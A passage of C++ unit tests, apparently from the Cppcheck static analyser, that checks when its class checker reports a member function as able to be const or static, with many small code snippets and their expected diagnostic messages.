errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void 